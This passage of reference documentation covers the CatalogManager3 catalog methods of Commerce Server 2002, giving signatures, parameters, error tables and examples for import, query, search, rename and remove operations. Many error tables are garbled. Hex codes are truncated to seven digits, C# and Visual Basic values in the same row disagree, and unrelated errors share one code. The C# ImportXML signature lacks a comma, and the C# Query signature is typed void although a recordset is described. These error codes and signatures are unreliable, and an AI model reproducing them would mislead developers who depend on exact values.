  Optional fGenerateFullTextIndexes As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void ImportXML(
  object vrXML,
  bool fUpdateOnly
  bool fRunSynchronously,
  bool fGenerateFullTextIndexes
);

Parameters

[Visual Basic .NET]
vrXML
An Object that contains the XML file name or IStream object that is the target of the import.
fUpdateOnly
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default is False.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default is False.
fGenerateFullTextIndexes
A Boolean that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated. The default is True.
[C#]
vrXML
An object that contains the XML file name or IStream object that is the target of the import.
fUpdateOnly
A bool that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.
fGenerateFullTextIndexes
A bool that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated. The default is True.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_FILE_OPEN_ERROR | [C#] 0x8898002 [Visual Basic .NET] &H8898000 | Unable to open the file. Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x8898002 [Visual Basic .NET] &H8898005 | This operation cannot be started because an import operation is currently in progress.
E_CAT_MSXML3_MISSING | [C#] 0x889800C [Visual Basic .NET] &H8898001 | The Catalog import operation was unable to instantiate the XML parser. Please check that msxml3.dll is installed and registered on this machine. Refer to the Commerce Server installation documents for more information.
E_CAT_INVALID_XML | error | There has been an error. See the error message for more information.

Remarks

When performing a partial or delta import (when updating an existing catalog by importing new or changed catalog data), it is important that the schema of the data being imported matches the schema of the existing catalog. For more information about the catalog schema, see Import Semantic.

This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ExportCSV, ExportXML, ImportCSV, or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

The names of catalogs in the source file cannot begin with "#" or consist solely of spaces.

If a property existing in the catalog has one type and the property of the same name existing in the import file has a different type, the import will fail. For example, the following will cause an error: the catalog has a SKU property that is a string, and the XML file being imported has a SKU property that is an integer.

[Visual Basic .NET]

Example

myCatalogManager.ImportXML("c:\imports\ourcatalog.xml", True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportXML

CatalogManager3.ImportCSV


CatalogManager3.Initialize Method (PIA)

Use this method to initialize a CatalogManager object. This method should be called once before calling any other methods or properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Initialize(
  strConfigString As String,
  Optional fIsADOConnectionString As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string strConfigString,
  bool fIsADOConnectionString
);

Parameters

[Visual Basic .NET]
strConfigString
A String that contains the configuration string.
fIsADOConnectionString
A Boolean that determines whether the strConfigString parameter refers to an ADO connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name. The default is False.
[C#]
strConfigString
A string that contains the configuration string.
fIsADOConnectionString
A bool that determines whether the strConfigString parameter refers to an ActiveX Data Object (ADO) connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant Value Description
E_CAT_CATMGR_ALREADY_INITIALIZED

[C#] 0x88980062

[Visual Basic .NET] &H88980062

 The CatalogManager object has already been initialized. Each catalog manager object can be initialized only once.
E_CAT_INVALID_PARAMETER

[C#] 0x889800B6

[Visual Basic .NET] &H889800B6

 The input parameter <parameter number> is invalid
E_CAT_INVALID_NUMFULLTEXT_CATALOGS

[C#] 0x889800E8

[Visual Basic .NET] &H889800E8

 The number of fulltext catalogs to create should be between 0 and 256
E_CAT_CATALOGRESOURCE_INIT_FAILED

[C#] 0x88980030

[Visual Basic .NET] &H88980030

 Unable to read the Product Catalog Resource from the site specified. Check that the Commerce.Adminhlpr component (Adminhlpr.dll) is registered, the site name is valid, and the site contains the Product Catalog Resource.
E_CAT_INVALID_CATALOG_SCHEMA

[C#] 0x889800D8

[Visual Basic .NET] &H889800D8

 The Catalog Schema does not correspond to this version of Commerce Server 2002.
[Visual Basic .NET]

Example

myCatalogManager.Initialize(strConfigString, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.Query Method (PIA)

Use this method to perform queries against product, variant, and category data in one or more catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function Query(
  strPhrase As String,
  Optional strCatalogsToSearch As Object,
  Optional eClassTypeRequired As Object,
  Optional strPropertiesToReturn As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  ByRef Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Query(
  string strPhrase,
  object strCatalogsToSearch,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strPhrase
A String that contains the search phrase.
strCatalogsToSearch
An Object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An Object that contains the catalog class that you want to find. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An Object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An Object that contains the property on which to sort.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the starting record to retrieve. This is an offset from the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve, beginning from the starting record.
plTotalRecordsInQuery
An Object used to return the total number of records matching the query.
[C#]
strPhrase
A string that contains the search phrase.
strCatalogsToSearch
An object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section. If you do not want to specify a catalog class, set to Type.Missing.
strPropertiesToReturn
An object that contains the properties to return as a comma-separated list. If a single catalog is specified, set to Type.Missing to return all properties. If multiple catalogs are specified, one or more properties must be specified.
strPropertyToSortOn
An object that contains the property on which to sort. Set to Type.Missing to indicate no sort.
fSortAscending
A bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
lStartingRecord
An object that contains the starting record to retrieve. This is an offset from the first record. If you do not want to specify a first record, set to Type.Missing.
lRecordsToRetrieve
An object that contains the number of records to retrieve, beginning from the starting record. If you do not want to specify a number, set to Type.Missing.
plTotalRecordsInQuery
An object used to return the total number of records matching the query. An object with the value Type.Missing can be used to indicate that the return value is not needed.

Return Values

If this method completes successfully, it returns the _Recordset interface to a Recordset object containing the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Query failed. The recordset is now NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C#] 0x8898000F [Visual Basic .NET] &H8898000F | When performing a query against multiple catalogs, you should specify the actual properties to return.

Remarks

The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully. The Query method is used to perform arbitrary queries against product, product variant, and category data in one or more catalogs. The strPhrase parameter is very similar to the ADO Recordset Filter property. Simple queries should follow the key-operator-value convention (for example, length < 100). Queries whose value is a String data type should enclose that value in single quotes (for example, color = 'Blue').

More sophisticated queries can be constructed by using the AND and OR operators to group multiple clauses, such as (level > 10) OR (Name = 'Bob' AND Title='CPA').

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter, or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

The following table shows the values of the CatalogClassTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter.

[Visual Basic .NET]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
rsQueryResults = myCatalogManager.Query("Productid='blue suede'", _
  "ShoeCatalog", cscProductClass,"Price, SKU, Size", "SKU", TRUE, _
  1, 25, plTotalRecordsInQuery)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.FreeTextSearch


CatalogManager3.RebuildAllVirtualCatalogs Method (PIA)

Use this method to rebuild all the virtual catalogs in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RebuildAllVirtualCatalogs(
  Optional fRunSynchronously As Boolean,
  Optional fForceRebuild As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RebuildAllVirtualCatalogs(
  bool fRunSynchronously,
  bool fForceRebuild
);

Parameters

[Visual Basic .NET]
fRunSynchronously
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.
[C#]
fRunSynchronously
A bool that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously.
fForceRebuild
A bool that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt. A value of False indicates that only dirty catalogs will be rebuilt.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.

Remarks

Virtual catalogs will be rebuilt only if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog unless the fForceRebuild parameter is set to True.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

CatalogManager3 Class


CatalogManager3.RemoveCatalogAttribute Method (PIA)

Use this method to remove a catalog attribute from the Product Catalog System.

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveCatalogAttribute(
  strAttributeName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveCatalogAttribute(
  string strAttributeName
);

Parameters

[Visual Basic .NET]
strAttributeName
A String that contains the name of the attribute to be removed.
[C#]
strAttributeName
A string that contains the name of the attribute to be removed.

Exceptions

If the attribute specified in the strAttributeName parameter does not exist, the method will complete successfully and return S_OK.

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x88980117 [Visual Basic .NET] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C#] 0x889800B0 [Visual Basic .NET] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_CATALOG_ATTR _DOES_NOT_EXIST | [C#] 0x88980112 [Visual Basic .NET] &H88980112 | The catalog attribute that you specified does not exist.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.RemoveDefinitionProperty Method (PIA)

Use this method to remove the specified property or variant property from the specified definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveDefinitionProperty(
  string strDefinitionName,
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition for which the specified property will be removed.
strPropertyName
A String that contains the name of the property to be removed.
[C#]
strDefinitionName
A string that contains the name of the definition for which the specified property will be removed.
strPropertyName
A string that contains the name of the property to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
E_CAT_PROP_NOT_IN_DEFINITION | [C#] 0x8898000 [Visual Basic .NET] &H889800E | The property you specified is not part of that definition.

Remarks

When you remove a property from a definition, it is also removed from any products, product variants, or categories created from that definition.

Caution

  • Use caution when using this method. In most cases, calling this method results in the deletion of data.
  • Removing the last variant property in a product family definition will convert it to a product definition and will remove all existing product variants based on this definition.
[Visual Basic .NET]

Example

myCatalogManager.RemoveDefinitionProperty("T-Shirts", "Color")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.GetDefinitionProperties


CatalogManager3.RemovePropertyAttribute Method (PIA)

Use this method to remove a custom property attribute from the Product Catalog System.

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemovePropertyAttribute(
  strAttName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemovePropertyAttribute(
  string strAttName
);

Parameters

[Visual Basic .NET]
strAttName
A String that contains the name of the attribute to be removed.
[C#]
strAttrName
A string that contains the name of the attribute to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x88980117 [Visual Basic .NET] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x88980040 [Visual Basic .NET] &H88980040 | The length specified for this property is not between 1 and 4000.
E_CAT_BUILTIN_ATTRIBUTE | [C#] 0x889800A7 [Visual Basic .NET] &H889800A7 | The property attribute that you specified is a built in attribute and hence cannot be added or removed from the Product Catalog System.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_ATTRIBUTE_DOES_NOT_EXIST | [C#] 0x88980111 [Visual Basic .NET] &H88980111 | The property attribute that you specified does not exist

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.RemovePropertyValue Method (PIA)

Use this method to remove a defined value from an enumeration property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemovePropertyValue(
  strPropertyName As String,
  strLegalValue As String,
  Optional strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemovePropertyValue(
  string strPropertyName,
  string strLegalValue,
  string strLang
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the enumeration property from which the specified value will be removed.
strLegalValue
A String that contains the defined value to be removed from the specified enumeration property.
strLang
A String that contains the ISO 639+1 language identifier.
[C#]
strPropertyName
A string that contains the name of the enumeration property from which the specified value will be removed.
strLegalValue
A string that contains the defined value to be removed from the specified enumeration property.
strLang
A string that contains the ISO 639+1 language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_ENUMERATED_VALUE | [C#] 0x889800E [Visual Basic .NET] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C#] 0x8898000 [Visual Basic .NET] &H8898007 | The property you specified is not the "cscEnumeration" data-type. This operation can only be performed on these types of Properties.

Remarks

Caution

  • When a value is removed from an enumeration type property all products that have that property set to that value will have the value changed to null.
[Visual Basic .NET]

Example

myCatalogManager.RemovePropertyValue("Color", "Pink")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddPropertyValue

CatalogManager3.GetPropertyValues


CatalogManager3.RenameDefinition Method (PIA)

Use this method to rename a definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RenameDefinition(
  strOldName As String,
  strNewName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
 public void RenameDefinition(
  string strOldName,
  string strNewName
);

Parameters

[Visual Basic .NET]
strOldName
A String that contains the existing name of the definition.
strNewName
A String that contains the wanted name of the definition.
[C#]
strOldName
A string that contains the existing name of the definition.
strNewName
A string that contains the wanted name of the definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H889800A | The Definition you specified already exists.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The Definition you specified does not exist.

Remarks

This method affects every product and category using the definition.

[Visual Basic .NET]

Example

myCatalogManager.RenameDefinition("T-Shirts", "Tee-Shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.RenameProperty


CatalogManager3.RenameProperty Method (PIA)

Use this method to rename a property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RenameProperty(
  strOldPropertyName As String,
  strNewPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RenameProperty(
  string strOldPropertyName,
  string strNewPropertyName
);

Parameters

[Visual Basic .NET]
strOldPropertyName
A String that contains the existing name of the property.
strNewPropertyName
A String that contains the wanted name of the property.
[C#]
strOldPropertyName
A string that contains the existing name of the property.
strNewPropertyName
A string that contains the wanted name of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H8898003 | The property name you specified already exists.
E_CAT_PROP_IS_ID | [C#] 0x8898001 [Visual Basic .NET] &H8898001 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.
[Visual Basic .NET]

Example

myCatalogManager.RenameProperty("Weight", "Wt.")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.Search Method (PIA)

Use this method to perform searches against product, variant, and category data in one or more catalogs. This method combines the functionality of the Query and FreeTextSearch methods while adding the capability to specify the language of the returned data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function Search(
  Optional strSQLClause As Object ,
  Optional strFTSPhrase As Object ,
  Optional strCatalogsToSearch As Object ,
  Optional eClassTypeRequired As Object ,
  Optional strPropertiesToReturn As Object ,
  Optional strPropertyToSortOn As object ,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object ,
  Optional lRecordsToRetrieve As Object ,
  Optional varLanguage As Object ,
  Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset Search(
  object strSQLClause,
  object strFTSPhrase,
  object strCatalogsToSearch,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  object varLanguage,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strSQLClause
An Object that contains the SQL search query.
strFTSPhrase
An Object that contains the free-text search phrase.
strCatalogsToSearch
An Object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An Object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An Object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
varLanguage
An Object that contains the ISO 639+1 language identifier.
plTotalRecordsInQuery
An Object used to return the total number of records matching the query.
[C#]
strSQLClause
An object that contains the SQL search query.
strFTSPhrase
An object that contains the free-text search phrase.
strCatalogsToSearch
An object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An object that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
varLanguage
An object that contains the ISO 639+1 language identifier.
plTotalRecordsInQuery
An object used to return the total number of records matching the query.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the search results.

[C#] This method returns a _Recordset interface to a Recordset object that will be used to return the query results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C#] 0x8007005 [Visual Basic .NET] &H8007007 | One or more arguments are invalid.
